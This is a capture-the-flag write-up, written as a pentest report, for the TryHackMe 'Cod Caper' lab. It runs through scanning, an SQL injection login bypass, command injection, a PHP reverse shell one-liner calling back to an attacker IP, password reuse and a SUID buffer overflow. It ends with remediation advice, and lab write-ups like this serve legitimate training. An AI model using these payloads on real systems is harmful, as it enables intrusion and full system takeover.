

Pentesting-report-of-Ctf- The cod caper- Tryhackme

Executive Summary

- **Target OS:** Linux (Ubuntu)
- **Difficulty:** Easy-Medium
- **Objective:** Exploit a web-based command execution vulnerability to gain an initial shell, pivot to the local user `pingu`, and escalate privileges to `root` by exploiting a custom SUID binary.

1. Reconnaissance & Port Scanning

An initial Nmap scan was conducted to identify active services on the target host:

Plaintext

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)

| ssh-hostkey:

| 2048 6d:2c:40:1b:6c:15:7c:fc:bf:9b:55:22:61:2a:56:fc (RSA)

| 256 ff:89:32:98:f4:77:9c:09:39:f5:af:4a:4f:08:d6:f5 (ECDSA)

|_ 256 89:92:63:e7:1d:2b:3a:af:6c:f9:39:56:5b:55:7e:f9 (ED25519)

80/tcp open http Apache httpd 2.4.18 ((Ubuntu))

|_ http-title: Apache2 Ubuntu Default Page: It works

|_ http-server-header: Apache/2.4.18 (Ubuntu)

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Key Findings

- **SSH (Port 22):** Standard remote management port. No immediate vulnerabilities known for this specific Ubuntu package without credentials.
- **HTTP (Port 80):** Running an Apache web server displaying the default Ubuntu landing page.

2. Web Directory Enumeration

Using **Gobuster** to brute-force hidden directories on Port 80 revealed an administrative entry point:

Plaintext

```
.htaccess      (Status: 403) [Size: 279]
.htaccess.txt  (Status: 403) [Size: 279]
.htaccess.php  (Status: 403) [Size: 279]
.htpasswd.php  (Status: 403) [Size: 279]
.htpasswd      (Status: 403) [Size: 279]
.htpasswd.txt  (Status: 403) [Size: 279]
administrator.php (Status: 200) [Size: 409]
```

Exploit Path: **/administrator.php**

Navigating to http://<TARGET_IP>/administrator.php displays a custom login portal.

3. Initial Foothold

SQL Injection & Command Execution

1. **Authentication Bypass:** The login form is vulnerable to a classic SQL Injection (SQLi) attack. Inputting ' **OR 1=1 --** ' into both the username and password fields successfully bypasses the authentication gate.
2. **Command Injection Interface:** Once authenticated, the administrator panel features a utility that executes system commands (such as a ping utility).

Execution of Reverse Shell

By appending a command separator to the utility input, we can execute arbitrary commands as the **www-data** web user. We use a PHP one-liner payload to trigger a reverse shell back to our attacker machine:

Bash

```
# Attacker listener setup:
nc -lvp 1234
```

PHP

```
// Payload executed via command injection:
```

```
php -r '$sock=fsockopen("192.168.136.71",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
```

This successfully establishes a reverse connection, granting us a shell as **www-data**.

4. Privilege Escalation

Pivot to User **pingu**

By enumerating the file system—specifically inspecting web root files, configuration scripts, or utilizing local password-reuse checks—we identify credentials for the local user:

- **Username:** pingu
- **Password:** pingu (or related variants/hashes matching pinguapingu)

We can transition to a stable SSH session using these credentials:

Bash

ssh pingu@<TARGET_IP>

Local Privilege Escalation (SUID Binary)

Once logged in as pingu, further local enumeration points to a custom binary called secret located in the home directory, which runs with **SUID root** permissions.

1. **Analyzing the Binary:**
Running strings or examining the executable reveals that it is vulnerable to a standard buffer overflow.
2. **Exploiting the Buffer Overflow:**
Using a pattern generator, we determine the exact offset to overwrite the Instruction Pointer (EIP/RIP). By crafting a payload that redirects execution flow to a shellcode-loaded buffer or a system call, we abuse the root-level permissions of the binary.
3. **Obtaining Root:**
Upon successful execution of the exploit payload against /home/pingu/secret, we drop into an interactive root shell:
4. Bash

whoami

Output: root

5.

The flags can now be read at /home/pingu/user.txt and /root/root.txt.

5. Remediation Recommendations

- **Input Sanitization:** Sanitize and parameterize all SQL queries on administrator.php to completely eliminate the SQL Injection vector.
- **Safe Command Execution:** Avoid passing user input directly to system shells. Use built-in programming language functions rather than raw bash executions.
- **Remove SUID Bits:** Strip SUID privileges from any non-standard custom binaries (chmod u-s /home/pingu/secret) to prevent memory corruption vulnerabilities from leading to systemic root compromise.